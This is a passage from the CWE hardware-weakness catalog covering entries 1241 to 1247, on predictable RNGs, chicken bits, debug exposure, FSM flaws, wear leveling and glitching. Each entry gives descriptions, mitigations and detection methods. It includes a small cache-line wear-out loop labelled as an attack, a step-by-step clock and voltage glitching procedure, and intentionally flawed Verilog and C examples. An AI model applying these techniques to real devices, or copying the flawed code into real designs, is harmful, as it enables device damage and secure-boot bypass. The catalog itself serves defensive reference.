
#### Maintenance

Since CWE 4.4, various cryptography-related entries, including CWE-327 and CWE-1240, have been slated for extensive research, analysis, and community consultation to define consistent terminology, improve relationships, and reduce overlap or duplication. As of CWE 4.6, this work is still ongoing.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
97	Cryptanalysis

### References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-1227]Wikipedia. "Cryptographic primitive". < [https://en.wikipedia.org/wiki/Cryptographic\\_primitive](https://en.wikipedia.org/wiki/Cryptographic_primitive) >.

[REF-1226]Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-2: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <https://csrc.nist.gov/publications/detail/fips/140/2/final> >.

[REF-1192]Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019 March 2. < <https://csrc.nist.gov/publications/detail/fips/140/3/final> >.

[REF-1236]NIST. "CAVP Testing: Individual Component Testing". < <https://csrc.nist.gov/projects/cryptographic-algorithm-validation-program/component-testing> >.

## CWE-1241: Use of Predictable Algorithm in Random Number Generator

**Weakness ID** : 1241

**Structure** : Simple

**Abstraction** : Base

### Description

The device uses an algorithm that is predictable and generates a pseudo-random number.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	772

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1213	Random Number Issues	2270

### Applicable Platforms

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	High

### Potential Mitigations

#### Phase: Architecture and Design

A true random number generator should be specified for cryptographic algorithms.

#### Phase: Implementation

A true random number generator should be implemented for cryptographic algorithms.

### Demonstrative Examples

#### Example 1:

Suppose a cryptographic function expects random value to be supplied for the crypto algorithm.

During the implementation phase, due to space constraint, a cryptographically secure random-number-generator could not be used, and instead of using a TRNG (True Random Number Generator), a LFSR (Linear Feedback Shift Register) is used to generate a random value. While an

LFSR will provide a pseudo-random number, its entropy (measure of randomness) is insufficient for a cryptographic algorithm.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1205	Security Primitives and Cryptography Issues	1194	2266

### Notes

#### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
97	Cryptanalysis

## CWE-1242: Inclusion of Undocumented Features or Chicken Bits

**Weakness ID :** 1242

**Structure :** Simple

**Abstraction :** Base

### Description

The device includes chicken bits or undocumented features that can create entry points for unauthorized actors.

### Extended Description

A common design practice is to use undocumented bits on a device that can be used to disable certain functional security features. These bits are commonly referred to as "chicken bits". They can facilitate quick identification and isolation of faulty components, features that negatively affect performance, or features that do not provide the required controllability for debug and test. Another way to achieve this is through implementation of undocumented features. An attacker might exploit these interfaces for unauthorized access.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	
Integrity	Read Memory	
Availability	Execute Unauthorized Code or Commands	
Access Control	Gain Privileges or Assume Identity	
	Bypass Protection Mechanism	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

The implementation of chicken bits in a released product is highly discouraged. If implemented at all, ensure that they are disabled in production devices. All interfaces to a device should be documented.

*Effectiveness = High*

### Demonstrative Examples

#### Example 1:

Consider a device that comes with various security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash device. However, this code contains undocumented "special access features" intended to be used only for performing failure analysis and intended to only be unlocked by the device designer.

*Example Language: Other*

*(Bad)*

Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.

Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263
MemberOf	C	1371	ICS Supply Chain: Poorly Documented or Undocumented Features	1358	2299

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
36	Using Unpublished Interfaces or Functionality
212	Functionality Misuse

## References

[REF-1071]Ali Abbasi, Tobias Scharnowski and Thorsten Holz. "Doors of Durin: The Veiled Gate to Siemens S7 Silicon". < <https://i.blackhat.com/eu-19/Wednesday/eu-19-Abbasi-Doors-Of-Durin-The-Veiled-Gate-To-Siemens-S7-Silicon.pdf> >.

[REF-1072]Sergei Skorobogatov and Christopher Woods. "Breakthrough Silicon Scanning Discovers Backdoor in Military Chip". < [https://www.cl.cam.ac.uk/~sps32/Silicon\\_scan\\_draft.pdf](https://www.cl.cam.ac.uk/~sps32/Silicon_scan_draft.pdf) >.

[REF-1073]Chris Domas. "God Mode Unlocked: Hardware Backdoors in x86 CPUs". < <https://i.blackhat.com/us-18/Thu-August-9/us-18-Domas-God-Mode-Unlocked-Hardware-Backdoors-In-x86-CPUs.pdf> >.

[REF-1074]Jonathan Brossard. "Hardware Backdooring is Practical". < [https://media.blackhat.com/bh-us-12/Briefings/Brossard/BH\\_US\\_12\\_Brossard\\_Backdoor\\_Hacking\\_Slides.pdf](https://media.blackhat.com/bh-us-12/Briefings/Brossard/BH_US_12_Brossard_Backdoor_Hacking_Slides.pdf) >.

[REF-1075]Sergei Skorobogatov. "Security, Reliability, and Backdoors". < [https://www.cl.cam.ac.uk/~sps32/SG\\_talk\\_SRB.pdf](https://www.cl.cam.ac.uk/~sps32/SG_talk_SRB.pdf) >.

## CWE-1243: Sensitive Non-Volatile Information Not Protected During Debug

**Weakness ID** : 1243

**Structure** : Simple

**Abstraction** : Base

### Description

Access to security-sensitive information stored in fuses is not limited during debug.

### Extended Description

Several security-sensitive values are programmed into fuses to be used during early-boot flows or later at runtime. Examples of these security-sensitive values include root keys, encryption keys, manufacturing-specific information, chip-manufacturer-specific information, and original-equipment-manufacturer (OEM) data. After the chip is powered on, these values are sensed from fuses and stored in temporary locations such as registers and local memories. These locations are typically access-control protected from untrusted agents capable of accessing them. Even to trusted agents, only read-access is provided. However, these locations are not blocked during debug operations, allowing a user to access this sensitive information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1263	Improper Physical Access Control	1923

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Disable access to security-sensitive information stored in fuses directly and also reflected from temporary storage locations when in debug mode.

### Demonstrative Examples

#### Example 1:

Sensitive manufacturing data (such as die information) are stored in fuses. When the chip powers on, these values are read from the fuses and stored in microarchitectural registers. These registers are only given read access to trusted software running on the core. Untrusted software running on the core is not allowed to access these registers.

*Example Language: Other*

*(Bad)*

All microarchitectural registers in this chip can be accessed through the debug interface. As a result, even an untrusted debugger can access this data and retrieve sensitive manufacturing data.

*Example Language:*

*(Good)*

Registers used to store sensitive values read from fuses should be blocked during debug. These registers should be disconnected from the debug interface.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1207	Debug and Test Problems	1194	2267

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
116	Excavation
545	Pull Data from System Resources

## CWE-1244: Internal Asset Exposed to Unsafe Debug Access Level or State

**Weakness ID** : 1244

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses physical debug or test interfaces with support for multiple access levels, but it assigns the wrong debug access level to an internal asset, providing unintended access to the asset from untrusted debug agents.

### Extended Description


Debug authorization can have multiple levels of access, defined such that different system internal assets are accessible based on the current authorized debug level. Other than debugger authentication (e.g., using passwords or challenges), the authorization can also be based on the system state or boot stage. For example, full system debug access might only be allowed early in boot after a system reset to ensure that previous session data is not accessible to the authenticated debugger.

If this protection mechanism does not ensure that internal assets have the correct debug access level during each boot stage or change in system state, an attacker could obtain sensitive information from the internal asset using a debugger.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		863	Incorrect Authorization	1664

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** System on Chip (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Integrity	Modify Memory	
Authorization Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

## Detection Methods

### Manual Analysis

Check 2 devices for their passcode to authenticate access to JTAG/debugging ports. If the passcodes are missing or the same, update the design to fix and retest. Check communications over JTAG/debugging ports for encryption. If the communications are not encrypted, fix the design and retest.

*Effectiveness = Moderate*

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

For security-sensitive assets accessible over debug/test interfaces, only allow trusted agents.

*Effectiveness = High*

**Phase: Architecture and Design**



Apply blinding [REF-1219] or masking techniques in strategic areas.

*Effectiveness = Limited*

#### Phase: Implementation

Add shielding or tamper-resistant protections to the device, which increases the difficulty and cost for accessing debug/test interfaces.

*Effectiveness = Limited*

#### Demonstrative Examples

##### Example 1:

The JTAG interface is used to perform debugging and provide CPU core access for developers. JTAG-access protection is implemented as part of the JTAG\_SHIELD bit in the hw\_digctl\_ctrl register. This register has no default value at power up and is set only after the system boots from ROM and control is transferred to the user software.

*Example Language: Other*

*(Bad)*

This means that since the end user has access to JTAG at system reset and during ROM code execution before control is transferred to user software, a JTAG user can modify the boot flow and subsequently disclose all CPU information, including data-encryption keys.

*Example Language:*

*(Informative)*

The default value of this register bit should be set to 1 to prevent the JTAG from being enabled at system reset.

#### Observed Examples

Reference	Description
<b>CVE-2019-18827</b>	After ROM code execution, JTAG access is disabled. But before the ROM code is executed, JTAG access is possible, allowing a user full system access. This allows a user to modify the boot flow and successfully bypass the secure-boot process. <a href="https://www.cve.org/CVERecord?id=CVE-2019-18827">https://www.cve.org/CVERecord?id=CVE-2019-18827</a>

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2267
MemberOf	V	1343	Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List	1343	2352

#### Notes

##### Relationship

CWE-1191 and CWE-1244 both involve physical debug access, but the weaknesses are different. CWE-1191 is effectively about missing authorization for a debug interface, i.e. JTAG. CWE-1244 is about providing internal assets with the wrong debug access level, exposing the asset to untrusted debug agents.

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
114	Authentication Abuse

## References

[REF-1056]F-Secure Labs. "Multiple Vulnerabilities in Barco Clickshare: JTAG access is not permanently disabled". < <https://labs.f-secure.com/advisories/multiple-vulnerabilities-in-barco-clickshare/> >.

[REF-1057]Kurt Rosenfeld and Ramesh Karri. "Attacks and Defenses for JTAG". < <https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=5406671> >.

[REF-1219]Monodeep Kar, Arvind Singh, Santosh Ghosh, Sanu Mathew, Anand Rajan, Vivek De, Raheem Beyah and Saibal Mukhopadhyay. "Blindsight: Blinding EM Side-Channel Leakage using Built-In Fully Integrated Inductive Voltage Regulator". 2018 February. < [https://www.researchgate.net/publication/323411019\\_Blindsight\\_Blinding\\_EM\\_Side-Channel\\_Leakage\\_using\\_Built-In\\_Fully\\_Integrated\\_Inductive\\_Voltage\\_Regulator](https://www.researchgate.net/publication/323411019_Blindsight_Blinding_EM_Side-Channel_Leakage_using_Built-In_Fully_Integrated_Inductive_Voltage_Regulator) >.

## CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic

**Weakness ID** : 1245

**Structure** : Simple

**Abstraction** : Base

### Description

Faulty finite state machines (FSMs) in the hardware logic allow an attacker to put the system in an undefined state, to cause a denial of service (DoS) or gain privileges on the victim's system.

### Extended Description

The functionality and security of the system heavily depend on the implementation of FSMs. FSMs can be used to indicate the current security state of the system. Lots of secure data operations and data transfers rely on the state reported by the FSM. Faulty FSM designs that do not account for all states, either through undefined states (left as don't cares) or through incorrect implementation, might lead an attacker to drive the system into an unstable state from which the system cannot recover without a reset, thus causing a DoS. Depending on what the FSM is used for, an attacker might also gain additional privileges to launch further attacks and compromise the security guarantees.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		684	Incorrect Provision of Specified Functionality	1410

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	Unexpected State	
Access Control	DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	DoS: Instability Gain Privileges or Assume Identity	

## Potential Mitigations

### Phase: Architecture and Design

### Phase: Implementation

Define all possible states and handle all unused states through default statements. Ensure that system defaults to a secure state.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

The Finite State Machine (FSM) shown in the "bad" code snippet below assigns the output ("out") based on the value of state, which is determined based on the user provided input ("user\_input").

*Example Language: Verilog*

*(Bad)*

```
module fsm_1(out, user_input, clk, rst_n);
input [2:0] user_input;
input clk, rst_n;
output reg [2:0] out;
reg [1:0] state;
always @ (posedge clk or negedge rst_n )
begin
    if (!rst_n)
        state = 3'h0;
    else
        case (user_input)
            3'h0:
            3'h1:
            3'h2:
            3'h3: state = 2'h3;
            3'h4: state = 2'h2;
            3'h5: state = 2'h1;
        endcase
    end
    out <= {1'h1, state};
endmodule
```

The case statement does not include a default to handle the scenario when the user provides inputs of 3'h6 and 3'h7. Those inputs push the system to an undefined state and might cause a crash (denial of service) or any other unanticipated outcome.

Adding a default statement to handle undefined inputs mitigates this issue. This is shown in the "Good" code snippet below. The default statement is in bold.

*Example Language: Verilog*

*(Good)*

```
case (user_input)
    3'h0:
    3'h1:
    3'h2:
    3'h3: state = 2'h3;
    3'h4: state = 2'h2;
    3'h5: state = 2'h1;
    default: state = 2'h0;
endcase
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1199	General Circuit and Logic Design Concerns		1194 2264

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
74	Manipulating State

### References

[REF-1060]Farimah Farahmandi and Prabhat Mishra. "FSM Anomaly Detection using Formal Analysis". < <https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=8119228&tag=1> >.

## CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories

**Weakness ID** : 1246

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not implement or incorrectly implements wear leveling operations in limited-write non-volatile memories.

### Extended Description

Non-volatile memories such as NAND Flash, EEPROM, etc. have individually erasable segments, each of which can be put through a limited number of program/erase or write cycles. For example, the device can only endure a limited number of writes, after which the device becomes unreliable. In order to wear out the cells in a uniform manner, non-volatile memory and storage products based on the above-mentioned technologies implement a technique called wear leveling. Once a set threshold is reached, wear leveling maps writes of a logical block to a different physical block. This prevents a single physical block from prematurely failing due to a high concentration of writes. If wear leveling is improperly implemented, attackers may be able to programmatically cause the storage to become unreliable within a much shorter time than would normally be expected.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	912

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

**Technology** : Memory Hardware (*Prevalence = Undetermined*)

**Technology** : Storage Hardware (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Instability	

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

**Phase: Testing**

Include secure wear leveling algorithms and ensure they may not be bypassed.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

An attacker can render a memory line unusable by repeatedly causing a write to the memory line.

Below is example code from [REF-1058] that the user can execute repeatedly to cause line failure. W is the maximum associativity of any cache in the system; S is the size of the largest cache in the system.

*Example Language: C++*

*(Attack)*

```
// Do aligned alloc of (W+1) arrays each of size S
while(1) {
    for (ii = 0; ii < W + 1; ii++)
        array[ii].element[0]++;
}
```

Without wear leveling, the above attack will be successful. Simple randomization of blocks will not suffice as instead of the original physical block, the randomized physical block will be worn out.

*Example Language:*

*(Good)*

Wear leveling must be used to even out writes to the device.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1202	Memory and Storage Issues	1194	2265

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
212	Functionality Misuse

## References

[REF-1058]Moinuddin Qureshi, Michele Franchescini, Vijayalakshmi Srinivasan, Luis Lastras, Bulent Abali and John Karidis. "Enhancing Lifetime and Security of PCM-Based Main Memory with Start-Gap Wear Leveling". < <https://researcher.watson.ibm.com/researcher/files/us-moinqureshi/papers-sgap.pdf> >.

[REF-1059]Micron. "Bad Block Management in NAND Flash Memory". < [https://www.micron.com/-/media/client/global/documents/products/technical-note/nand-flash/tn2959\\_bbm\\_in\\_nand\\_flash.pdf](https://www.micron.com/-/media/client/global/documents/products/technical-note/nand-flash/tn2959_bbm_in_nand_flash.pdf) >.

## CWE-1247: Improper Protection Against Voltage and Clock Glitches

**Weakness ID** : 1247

**Structure** : Simple

**Abstraction** : Base

### Description

The device does not contain or contains incorrectly implemented circuitry or sensors to detect and mitigate voltage and clock glitches and protect sensitive information or software contained on the device.

### Extended Description

A device might support features such as secure boot which are supplemented with hardware and firmware support. This involves establishing a chain of trust, starting with an immutable root of trust by checking the signature of the next stage (culminating with the OS and runtime software) against a golden value before transferring control. The intermediate stages typically set up the system in a secure state by configuring several access control settings. Similarly, security logic for exercising a debug or testing interface may be implemented in hardware, firmware, or both. A device needs to guard against fault attacks such as voltage glitches and clock glitches that an attacker may employ in an attempt to compromise the system.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	➤	1384	Improper Handling of Physical or Environmental Conditions	2078

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
PeerOf	Ⓜ	1332	Improper Handling of Faults that Lead to Instruction Skips	2050

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

**Technology** : Power Management Hardware (*Prevalence = Undetermined*)

**Technology** : Clock/Counter Hardware (*Prevalence = Undetermined*)

**Technology** : Sensor Hardware (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	
Integrity	Bypass Protection Mechanism	
Availability	Read Memory	

Scope	Impact	Likelihood
Access Control	Modify Memory Execute Unauthorized Code or Commands	

## Detection Methods

### Manual Analysis

Put the processor in an infinite loop, which is then followed by instructions that should not ever be executed, since the loop is not expected to exit. After the loop, toggle an I/O bit (for oscilloscope monitoring purposes), print a console message, and reenter the loop. Note that to ensure that the loop exit is actually captured, many NOP instructions should be coded after the loop branch instruction and before the I/O bit toggle and the print statement. Margining the clock consists of varying the clock frequency until an anomaly occurs. This could be a continuous frequency change or it could be a single cycle. The single cycle method is described here. For every 1000th clock pulse, the clock cycle is shortened by 10 percent. If no effect is observed, the width is shortened by 20%. This process is continued in 10% increments up to and including 50%. Note that the cycle time may be increased as well, down to seconds per cycle. Separately, the voltage is margined. Note that the voltage could be increased or decreased. Increasing the voltage has limits, as the circuitry may not be able to withstand a drastically increased voltage. This process starts with a 5% reduction of the DC supply to the CPU chip for 5 millisecond repeated at 1KHz. If this has no effect, the process is repeated, but a 10% reduction is used. This process is repeated at 10% increments down to a 50% reduction. If no effects are observed at 5 millisecond, the whole process is repeated using a 10 millisecond pulse. If no effects are observed, the process is repeated in 10 millisecond increments out to 100 millisecond pulses. While these are suggested starting points for testing circuitry for weaknesses, the limits may need to be pushed further at the risk of device damage. See [REF-1217] for descriptions of Smart Card attacks against a clock (section 14.6.2) and using a voltage glitch (section 15.5.3).

*Effectiveness = Moderate*

### Dynamic Analysis with Manual Results Interpretation

During the implementation phase where actual hardware is available, specialized hardware tools and apparatus such as ChipWhisperer may be used to check if the platform is indeed susceptible to voltage and clock glitching attacks.

### Architecture or Design Review

Review if the protections against glitching merely transfer the attack target. For example, suppose a critical authentication routine that an attacker would want to bypass is given the protection of modifying certain artifacts from within that specific routine (so that if the routine is bypassed, one can examine the artifacts and figure out that an attack must have happened). However, if the attacker has the ability to bypass the critical authentication routine, they might also have the ability to bypass the other protection routine that checks the artifacts. Basically, depending on these kind of protections is akin to resorting to "Security by Obscurity".

### Architecture or Design Review

Many SoCs come equipped with a built-in Dynamic Voltage and Frequency Scaling (DVFS) that can control the voltage and clocks via software alone. However, there have been demonstrated attacks (like Plundervolt and CLKSCREW) that target this DVFS [REF-1081] [REF-1082]. During the design and implementation phases, one needs to check if the interface to this power management feature is available from unprivileged SW (CWE-1256), which would make the attack very easy.

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**



At the circuit-level, using Tunable Replica Circuits (TRCs) or special flip-flops such as Razor flip-flops helps mitigate glitch attacks. Working at the SoC or platform base, level sensors may be implemented to detect glitches. Implementing redundancy in security-sensitive code (e.g., where checks are performed) also can help with mitigation of glitch attacks.

## Demonstrative Examples

### Example 1:

Below is a representative snippet of C code that is part of the secure-boot flow. A signature of the runtime-firmware image is calculated and compared against a golden value. If the signatures match, the bootloader loads runtime firmware. If there is no match, an error halt occurs. If the underlying hardware executing this code does not contain any circuitry or sensors to detect voltage or clock glitches, an attacker might launch a fault-injection attack right when the signature check is happening (at the location marked with the comment), causing a bypass of the signature-checking process.

Example Language: C

(Bad)

```
...
if (signature_matches) // <-Glitch Here
{
    load_runtime_firmware();
}
else
{
    do_not_load_runtime_firmware();
}
...
```

After bypassing secure boot, an attacker can gain access to system assets to which the attacker should not have access.

Example Language:

(Good)

If the underlying hardware detects a voltage or clock glitch, the information can be used to prevent the glitch from being successful.

## Observed Examples

Reference	Description
<b>CVE-2019-17391</b>	Lack of anti-glitch protections allows an attacker to launch a physical attack to bypass the secure boot and read protected eFuses. <a href="https://www.cve.org/CVERecord?id=CVE-2019-17391">https://www.cve.org/CVERecord?id=CVE-2019-17391</a>

## Functional Areas

- Power
- Clock

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1206	Power, Clock, Thermal, and Reset Concerns	1194	2266
MemberOf	<b>C</b>	1367	ICS Dependencies (& Architecture): External Physical Systems	1358	2296
MemberOf	<b>C</b>	1388	Physical Access Issues and Concerns	1194	2309

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
624	Hardware Fault Injection
625	Mobile Device Fault Injection

## References

[REF-1061]Keith Bowman, James Tschanz, Chris Wilkerson, Shih-Lien Lu, Tanay Karnik, Vivek De and Shekhar Borkar. "Circuit Techniques for Dynamic Variation Tolerance". < <https://dl.acm.org/doi/10.1145/1629911.1629915> >.

[REF-1062]Dan Ernst, Nam Sung Kim, Shidhartha Das, Sanjay Pant, Rajeev Rao, Toan Pham, Conrad Ziesler, David Blaauw, Todd Austin, Krisztian Flautner and Trevor Mudge. "Razor: A Low-Power Pipeline Based on Circuit-Level Timing Speculation". < <https://web.eecs.umich.edu/~taustin/papers/MICRO36-Razor.pdf> >.

[REF-1063]James Tschanz, Keith Bowman, Steve Walstra, Marty Agostinelli, Tanay Karnik and Vivek De. "Tunable Replica Circuits and Adaptive Voltage-Frequency Techniques for Dynamic Voltage, Temperature, and Aging Variation Tolerance". < <https://ieeexplore.ieee.org/document/5205410> >.

[REF-1064]Bilgiday Yuce, Nahid F. Ghalaty, Chinmay Deshpande, Conor Patrick, Leyla Nazhandali and Patrick Schaumont. "FAME: Fault-attack Aware Microprocessor Extensions for Hardware Fault Detection and Software Fault Response". < <https://dl.acm.org/doi/10.1145/2948618.2948626> >.

[REF-1065]Keith A. Bowman, James W. Tschanz, Shih-Lien L. Lu, Paolo A. Aseron, Muhammad M. Khellah, Arijit Raychowdhury, Bibiche M. Geuskens, Carlos Tokunaga, Chris B. Wilkerson, Tanay Karnik and Vivek De. "A 45 nm Resilient Microprocessor Core for Dynamic Variation Tolerance". < <https://ieeexplore.ieee.org/document/5654663> >.

[REF-1066]Niek Timmers and Albert Spruyt. "Bypassing Secure Boot Using Fault Injection". < <https://www.blackhat.com/docs/eu-16/materials/eu-16-Timmers-Bypassing-Secure-Boot-Using-Fault-Injection.pdf> >.

[REF-1217]Ross Anderson. "Security Engineering". 2001. < <https://www.cl.cam.ac.uk/~rja14/musicfiles/manuscripts/SEv1.pdf> >.

[REF-1217]Ross Anderson. "Security Engineering". 2001. < <https://www.cl.cam.ac.uk/~rja14/musicfiles/manuscripts/SEv1.pdf> >.

[REF-1081]Kit Murdock, David Oswald, Flavio D Garcia, Jo Van Bulck, Frank Piessens and Daniel Gruss. "Plundervolt". < <https://plundervolt.com/> >.

[REF-1082]Adrian Tang, Simha Sethumadhavan and Salvatore Stolfo. "CLKSCREW: Exposing the Perils of Security-Oblivious Energy Management". < <https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-tang.pdf> >.

[REF-1285]Texas Instruments. "Physical Security Attacks Against Silicon Devices". 2022 January 1. < <https://www.ti.com/lit/an/swra739/swra739.pdf?ts=1644234570420> >.

